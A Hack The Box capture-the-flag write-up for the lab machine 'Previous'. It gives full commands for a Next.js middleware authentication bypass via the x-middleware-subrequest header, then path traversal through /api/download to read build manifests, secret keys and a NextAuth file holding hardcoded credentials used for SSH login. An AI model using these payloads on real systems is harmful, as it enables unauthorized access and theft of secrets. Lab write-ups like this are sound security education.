Previous (HTB)
Intro
Hello there, fellows another HTB machine, Let's jump right into it.
Enumeration.
Port scanning.
# Nmap 7.97 scan initiated Sun Aug 24 15:21:00 2025 as: nmap -vvv -p 22,80 -4 -Pn -sC -sV -vv -o nmap.scan 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up, received user-set (0.48s latency).
Scanned at 2025-08-24 15:21:03 +08 for 9s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 24 15:21:12 2025 -- 1 IP address (1 host up) scanned in 11.75 seconds
Classic .
Web server enumeration.
When we first enter the site the site does not contain anything anything we will do will redirect us to login page which we do not have access to. And using curl we can know that this site is running next js.

And guess what ?. couple weeks ago i read about Next js vulnerability which allow us to bypass this login form completely. And this things behind it is that there is a special header called x-middleware-subrequest
when provided middle-ware value. It will completely bypass the middle-ware authentication and authorization and jump you to the desire endpoint. You can read more about it here.
Anyway. With that i added the following header to my request.
x-middleware-subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
And this enable me to bypass the authentication. Using dirsearch
and feroxbuster
i found some endpoints that we can take advantage of.
~/Documents/previous on (us-west-2) took 15s
❯ feroxbuster -u 'http://previous.htb/' -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://previous.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🤯 Header │ x-middleware-subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 66w 2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
308 GET 1l 1w 6c http://previous.htb/_next/ => http://previous.htb/_next
308 GET 1l 1w 13c http://previous.htb/_next/static/ => http://previous.htb/_next/static
308 GET 1l 1w 35c http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9/ => http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9
308 GET 1l 1w 26c http://previous.htb/_next/static/chunks/pages/ => http://previous.htb/_next/static/chunks/pages
308 GET 1l 1w 17c http://previous.htb/_next/static/css/ => http://previous.htb/_next/static/css
308 GET 1l 1w 12c http://previous.htb/application/ => http://previous.htb/application
308 GET 1l 1w 20c http://previous.htb/_next/static/chunks/ => http://previous.htb/_next/static/chunks
200 GET 1l 1w 1305c http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9/_buildManifest.js
200 GET 1l 283w 5101c http://previous.htb/_next/static/chunks/pages/index-a09f42904785092c.js
200 GET 1l 60w 3028c http://previous.htb/_next/static/chunks/webpack-cb370083d4f9953f.js
200 GET 1l 2w 77c http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9/_ssgManifest.js
200 GET 1l 725w 33690c http://previous.htb/_next/static/chunks/pages/_app-95f33af851b6322a.js
200 GET 1l 250w 23885c http://previous.htb/_next/static/css/9a1ff1f4870b5a50.css
200 GET 1l 2125w 112594c http://previous.htb/_next/static/chunks/polyfills-42372ed130431b0a.js
200 GET 1l 2412w 119495c http://previous.htb/_next/static/chunks/main-0221d9991a31a63c.js
200 GET 1l 2734w 139924c http://previous.htb/_next/static/chunks/framework-ee17a4c43a44d3e2.js
200 GET 1l 407w 5493c http://previous.htb/
308 GET 1l 1w 5c http://previous.htb/docs/ => http://previous.htb/docs
200 GET 1l 91w 5893c http://previous.htb/_next/static/chunks/8-fd0c493a642e766e.js
200 GET 1l 124w 3663c http://previous.htb/_next/static/chunks/pages/docs-5f6acb8b3a59fb7f.js
200 GET 1l 217w 8862c http://previous.htb/_next/static/chunks/0-c54fcec2d27b858d.js
200 GET 1l 38w 1467c http://previous.htb/docs/examples
200 GET 1l 38w 1467c http://previous.htb/docs/getting-started
200 GET 1l 181w 3353c http://previous.htb/docs
200 GET 1l 38w 1467c http://previous.htb/docs/api-reference
200 GET 1l 136w 3480c http://previous.htb/_next/static/chunks/pages/signin-d0284ed11872b445.js
200 GET 1l 179w 3481c http://previous.htb/signin
[########>-----------] - 2m 13040/30027 2m found:27 errors:1
[####################] - 5m 30027/30027 0s found:27 errors:2
[####################] - 5m 30000/30000 94/s http://previous.htb/
We can see that we have docs
, getting_started
and examples
. These three endpoints are important. Using burpsuite
i was able to inject this header into my requests to get what i want.
First let's take a look at getting_started.

Nothing...
LFI
moving to the next examples

Here i stopped for a bit. Because in my inital enumeration i came a across a endpoint which allow us to download it exist under /api/download
~/Documents/previous on (us-west-2) took 1m29s
❯ feroxbuster -u 'http://previous.htb/api' -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://previous.htb/api
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🤯 Header │ x-middleware-subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 66w 2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
400 GET 1l 2w 28c http://previous.htb/api/download
[####################] - 2m 30000/30000 0s found:1 errors:0
[####################] - 2m 30000/30000 294/s http://previous.htb/api/
I tried to access it but i got this error.

I tried every possible way to find the parameter that it take but i could not find it so here if i was able to access that page and inspect it. I could find what parameter that it takes and use that to our advantage.
Using burpsuite
i was able to do that just open the browser, request the page, intercept the request, modifie the headers and forward the request. And the page should load inspect it and you should see this.

If the image is not clear the parameter name is example
. So the first thing came to my mind was LFI. I maybe able to abuse this endpoint to access more files. Which is indeed the case here ;)

Cool right ?.
From here we can enumerate many things the first thing came to my mind is the .env
file which sometime include secrets. And I found it.

So after a lot of enumeration i found the following.
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -X GET -u "http://previous.htb/api/download?example=../../../../../../../../../../../home/nextjs/FUZZ" -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?example=../../../../../../../../../../../home/nextjs/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[WARN] Caught keyboard interrupt (Ctrl-C)
~/Documents/previous on (us-west-2)
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -X GET -u "http://previous.htb/api/download?example=../../.FUZZ" -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?example=../../.FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
next [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 61ms]
env [Status: 200, Size: 49, Words: 1, Lines: 2, Duration: 41ms]
#www [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 55ms]
#mail [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 166ms]
#smtp [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 148ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
~/Documents/previous on (us-west-2) took 4m12s
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -X GET -u "http://previous.htb/api/download?example=../../FUZZ" -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?example=../../FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
public [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 55ms]
pages [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 49ms]
#www [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 60ms]
#mail [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 129ms]
#smtp [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 213ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
we have few important files but the most important is .next
as it include the artifcates of the build process which may give us some info about the implementation.
The above wordlist was not so helpful as it does not contains alot of javascript specic file names so i had to use another one.
Using this wordlist i was able to find the following.
❯ ffuf -w ~/Documents/previous/word -X GET -u "http://previous.htb/api/download?example=../../../../app/FUZZ" -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?example=../../../../app/FUZZ
:: Wordlist : FUZZ: /home/groot/Documents/previous/word
:: Header : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
package.json [Status: 200, Size: 587, Words: 106, Lines: 27, Duration: 52ms]
pages [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 336ms]
public [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 337ms]
node_modules [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 210ms]
server.js [Status: 200, Size: 6009, Words: 80, Lines: 38, Duration: 232ms]
.env [Status: 200, Size: 49, Words: 1, Lines: 2, Duration: 176ms]
Here we have .env which we already know about. But importantly server.js
. Let's see what this file contains./
{
"env": {},
"eslint": {
"ignoreDuringBuilds": false
},
"typescript": {
"ignoreBuildErrors": false,
"tsconfigPath": "tsconfig.json"
},
"distDir": "./.next",
"cleanDistDir": true,
"assetPrefix": "",
"cacheMaxMemorySize": 52428800,
"configOrigin": "next.config.mjs",
"useFileSystemPublicRoutes": true,
"generateEtags": true,
"pageExtensions": [
"js",
"jsx",
"md",
"mdx",
"ts",
"tsx"
],
"poweredByHeader": true,
"compress": true,
"images": {
"deviceSizes": [
640,
750,
828,
1080,
1200,
1920,
2048,
3840
],
"imageSizes": [
16,
32,
48,
64,
96,
128,
256,
384
],
"path": "/_next/image",
"loader": "default",
"loaderFile": "",
"domains": [],
"disableStaticImages": false,
"minimumCacheTTL": 60,
"formats": [
"image/webp"
],
"dangerouslyAllowSVG": false,
"contentSecurityPolicy": "script-src none; frame-src none; sandbox;",
"contentDispositionType": "attachment",
"remotePatterns": [],
"unoptimized": false
},
"devIndicators": {
"position": "bottom-left"
},
"onDemandEntries": {
"maxInactiveAge": 60000,
"pagesBufferLength": 5
},
"amp": {
"canonicalBase": ""
},
"basePath": "",
"sassOptions": {},
"trailingSlash": false,
"i18n": null,
"productionBrowserSourceMaps": false,
"excludeDefaultMomentLocales": true,
"serverRuntimeConfig": {},
"publicRuntimeConfig": {},
"reactProductionProfiling": false,
"reactStrictMode": null,
"reactMaxHeadersLength": 6000,
"httpAgentOptions": {
"keepAlive": true
},
"logging": {},
"expireTime": 31536000,
"staticPageGenerationTimeout": 60,
"output": "standalone",
"modularizeImports": {
"@mui/icons-material": {
"transform": "@mui/icons-material/{{member}}"
},
"lodash": {
"transform": "lodash/{{member}}"
}
},
"outputFileTracingRoot": "/app",
"experimental": {
"allowedDevOrigins": [],
"nodeMiddleware": false,
"cacheLife": {
"default": {
"stale": 300,
"revalidate": 900,
"expire": 4294967294
},
"seconds": {
"stale": 0,
"revalidate": 1,
"expire": 60
},
"minutes": {
"stale": 300,
"revalidate": 60,
"expire": 3600
},
"hours": {
"stale": 300,
"revalidate": 3600,
"expire": 86400
},
"days": {
"stale": 300,
"revalidate": 86400,
"expire": 604800
},
"weeks": {
"stale": 300,
"revalidate": 604800,
"expire": 2592000
},
"max": {
"stale": 300,
"revalidate": 2592000,
"expire": 4294967294
}
},
"cacheHandlers": {},
"cssChunking": true,
"multiZoneDraftMode": false,
"appNavFailHandling": false,
"prerenderEarlyExit": true,
"serverMinification": true,
"serverSourceMaps": false,
"linkNoTouchStart": false,
"caseSensitiveRoutes": false,
"clientSegmentCache": false,
"preloadEntriesOnStart": true,
"clientRouterFilter": true,
"clientRouterFilterRedirects": false,
"fetchCacheKeyPrefix": "",
"middlewarePrefetch": "flexible",
"optimisticClientCache": true,
"manualClientBasePath": false,
"cpus": 1,
"memoryBasedWorkersCount": false,
"imgOptConcurrency": null,
"imgOptTimeoutInSeconds": 7,
"imgOptMaxInputPixels": 268402689,
"imgOptSequentialRead": null,
"isrFlushToDisk": true,
"workerThreads": false,
"optimizeCss": false,
"nextScriptWorkers": false,
"scrollRestoration": false,
"externalDir": false,
"disableOptimizedLoading": false,
"gzipSize": true,
"craCompat": false,
"esmExternals": true,
"fullySpecified": false,
"swcTraceProfiling": false,
"forceSwcTransforms": false,
"largePageDataBytes": 128000,
"turbo": {
"root": "/app"
},
"typedRoutes": false,
"typedEnv": false,
"parallelServerCompiles": false,
"parallelServerBuildTraces": false,
"ppr": false,
"authInterrupts": false,
"webpackMemoryOptimizations": false,
"optimizeServerReact": true,
"useEarlyImport": false,
"viewTransition": false,
"staleTimes": {
"dynamic": 0,
"static": 300
},
"serverComponentsHmrCache": true,
"staticGenerationMaxConcurrency": 8,
"staticGenerationMinPagesPerWorker": 25,
"dynamicIO": false,
"inlineCss": false,
"useCache": false,
"optimizePackageImports": [
"lucide-react",
"date-fns",
"lodash-es",
"ramda",
"antd",
"react-bootstrap",
"ahooks",
"@ant-design/icons",
"@headlessui/react",
"@headlessui-float/react",
"@heroicons/react/20/solid",
"@heroicons/react/24/solid",
"@heroicons/react/24/outline",
"@visx/visx",
"@tremor/react",
"rxjs",
"@mui/material",
"@mui/icons-material",
"recharts",
"react-use",
"effect",
"@effect/schema",
"@effect/platform",
"@effect/platform-node",
"@effect/platform-browser",
"@effect/platform-bun",
"@effect/sql",
"@effect/sql-mssql",
"@effect/sql-mysql2",
"@effect/sql-pg",
"@effect/sql-squlite-node",
"@effect/sql-squlite-bun",
"@effect/sql-squlite-wasm",
"@effect/sql-squlite-react-native",
"@effect/rpc",
"@effect/rpc-http",
"@effect/typeclass",
"@effect/experimental",
"@effect/opentelemetry",
"@material-ui/core",
"@material-ui/icons",
"@tabler/icons-react",
"mui-core",
"react-icons/ai",
"react-icons/bi",
"react-icons/bs",
"react-icons/cg",
"react-icons/ci",
"react-icons/di",
"react-icons/fa",
"react-icons/fa6",
"react-icons/fc",
"react-icons/fi",
"react-icons/gi",
"react-icons/go",
"react-icons/gr",
"react-icons/hi",
"react-icons/hi2",
"react-icons/im",
"react-icons/io",
"react-icons/io5",
"react-icons/lia",
"react-icons/lib",
"react-icons/lu",
"react-icons/md",
"react-icons/pi",
"react-icons/ri",
"react-icons/rx",
"react-icons/si",
"react-icons/sl",
"react-icons/tb",
"react-icons/tfi",
"react-icons/ti",
"react-icons/vsc",
"react-icons/wi"
],
"trustHostHeader": false,
"isExperimentalCompile": false
},
"htmlLimitedBots": "Mediapartners-Google|Slurp|DuckDuckBot|baiduspider|yandex|sogou|bitlybot|tumblr|vkShare|quora link preview|redditbot|ia_archiver|Bingbot|BingPreview|applebot|facebookexternalhit|facebookcatalog|Twitterbot|LinkedInBot|Slackbot|Discordbot|WhatsApp|SkypeUriPreview",
"bundlePagesRouterDependencies": false,
"configFileName": "next.config.mjs"
}
This json tells a lot but the most important we can note is distDir
the destination for the after building results.
and also next.config.mjs
which may help us if we are able to find it.
Now let's try to look for the manifest file
. which include metadata about the files. Their format are quite simple but they are the most tricky to find. Take me a while to allocate where are they but you can find them at http://previous.htb/api/download?example=../../../../app/.next/server/FUZZ-manifest.json
this is from FFUF
. Anyway after fuzzing there you going to file these files.
❯ ffuf -w ~/Documents/previous/word -X GET -u "http://previous.htb/api/download?example=../../../../app/.next/server/FUZZ-manifest.json" -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?example=../../../../app/.next/server/FUZZ-manifest.json
:: Wordlist : FUZZ: /home/groot/Documents/previous/word
:: Header : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
pages [Status: 200, Size: 653, Words: 43, Lines: 16, Duration: 140ms]
middleware [Status: 200, Size: 1089, Words: 234, Lines: 36, Duration: 207ms]
:: Progress: [25000/25000] :: Job [1/1] :: 205 req/sec :: Duration: [0:01:49] :: Errors: 0 ::
we have pages and middle ware let's check them
pages.
❯ curl "http://previous.htb/api/download?example=../../../app/.next/server/pages-manifest.json" -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
{
"/_app": "pages/_app.js",
"/_error": "pages/_error.js",
"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
"/api/download": "pages/api/download.js",
"/docs/[section]": "pages/docs/[section].html",
"/docs/components/layout": "pages/docs/components/layout.html",
"/docs/components/sidebar": "pages/docs/components/sidebar.html",
"/docs/content/examples": "pages/docs/content/examples.html",
"/docs/content/getting-started": "pages/docs/content/getting-started.html",
"/docs": "pages/docs.html",
"/": "pages/index.html",
"/signin": "pages/signin.html",
"/_document": "pages/_document.js",
"/404": "pages/404.html"
}%
Here we can see the each route and the corresponding page that serve it. There is very important detail here we going to comeback to it after we look at the middleware
middle-ware.
❯ curl "http://previous.htb/api/download?example=../../../app/.next/server/middleware-manifest.json" -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
{
"version": 3,
"middleware": {
"/": {
"files": [
"server/edge-runtime-webpack.js",
"server/middleware.js"
],
"name": "middleware",
"page": "/",
"matchers": [
{
"regexp": "^(?:\\/(_next\\/data\\/[^/]{1,}))?\\/docs(.*)(\\.json)?[\\/#\\?]?$",
"originalSource": "/docs(.*)"
},
{
"regexp": "^(?:\\/(_next\\/data\\/[^/]{1,}))?\\/api(.*)(\\.json)?[\\/#\\?]?$",
"originalSource": "/api(.*)"
}
],
"wasm": [],
"assets": [],
"env": {
"__NEXT_BUILD_ID": "qVDR2cKpRgqCslEh-llk9",
"NEXT_SERVER_ACTIONS_ENCRYPTION_KEY": "lmAAapzJU+nklkAThiclUFPJCS5Q1pNXK9NQ/GTpUXo=",
"__NEXT_PREVIEW_MODE_ID": "df9e8fb824e0b5417a0bf34c6595a56c",
"__NEXT_PREVIEW_MODE_ENCRYPTION_KEY": "e08c73fd3f204203133f2f4282440af9f4b926dfad649b01fb440e2de61ff1c0",
"__NEXT_PREVIEW_MODE_SIGNING_KEY": "5f5ca593a20b8504439b5e22760cf8d862a773025eb3db418355259dc0c2276f"
}
}
},
"functions": {},
"sortedMiddleware": [
"/"
]
}
A few imporant things keys and stuff but before we go any further in these keys let's check the value from the pages
Login as Jeremy
The pages
manifest file shows next auth and the endpoint it uses.
"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
Intresting so we can access that from the same .next
folder we are in. but we need to some url encoding
for [ ]
we can use this to read its content
~/Documents/previous via v24.5.0 on (us-west-2)
❯ curl 'http://previous.htb/api/download?example=../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
"use strict";
(() => {
var e = {};
e.id = 651,
e.ids = [651],
e.modules = {
3480: (e, n, r) => {
e.exports = r(5600)
},
5600: e => {
e.exports = require("next/dist/compiled/next-server/pages-api.runtime.prod.js")
},
6435: (e, n) => {
Object.defineProperty(n, "M", {
enumerable: !0,
get: function () {
return function e(n, r) {
return r in n ? n[r] :
"then" in n && "function" == typeof n.then ? n.then(n => e(n, r)) :
"function" == typeof n && "default" === r ? n :
void 0
}
}
})
},
8667: (e, n) => {
Object.defineProperty(n, "A", {
enumerable: !0,
get: function () {
return r
}
});
var r = function (e) {
return e.PAGES = "PAGES",
e.PAGES_API = "PAGES_API",
e.APP_PAGE = "APP_PAGE",
e.APP_ROUTE = "APP_ROUTE",
e.IMAGE = "IMAGE",
e
}({})
},
9832: (e, n, r) => {
r.r(n),
r.d(n, {
config: () => l,
default: () => P,
routeModule: () => A
});
var t = {};
r.r(t),
r.d(t, {
default: () => p
});
var a = r(3480),
s = r(8667),
i = r(6435);
let u = require("next-auth/providers/credentials"),
o = {
session: {
strategy: "jwt"
},
providers: [r.n(u)()({
name: "Credentials",
credentials: {
username: {
label: "User",
type: "username"
},
password: {
label: "Password",
type: "password"
}
},
authorize: async e => e?.username === "jeremy" &&
e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ?
{
id: "1",
name: "Jeremy"
} : null
})],
pages: {
signIn: "/signin"
},
secret: process.env.NEXTAUTH_SECRET
},
d = require("next-auth"),
p = r.n(d)()(o),
P = (0, i.M)(t, "default"),
l = (0, i.M)(t, "config"),
A = new a.PagesAPIRouteModule({
definition: {
kind: s.A.PAGES_API,
page: "/api/auth/[...nextauth]",
pathname: "/api/auth/[...nextauth]",
bundlePath: "",
filename: ""
},
userland: t
})
}
};
var n = require("../../../webpack-api-runtime.js");
n.C(e);
var r = n(n.s = 9832);
module.exports = r
})();
This is it in better format. So... we got the creds RIGHT?? let's ssh.

And we have it ;). Man this was so tough.
MyNameIsJeremyAndILovePancakes
jeremy
Last updated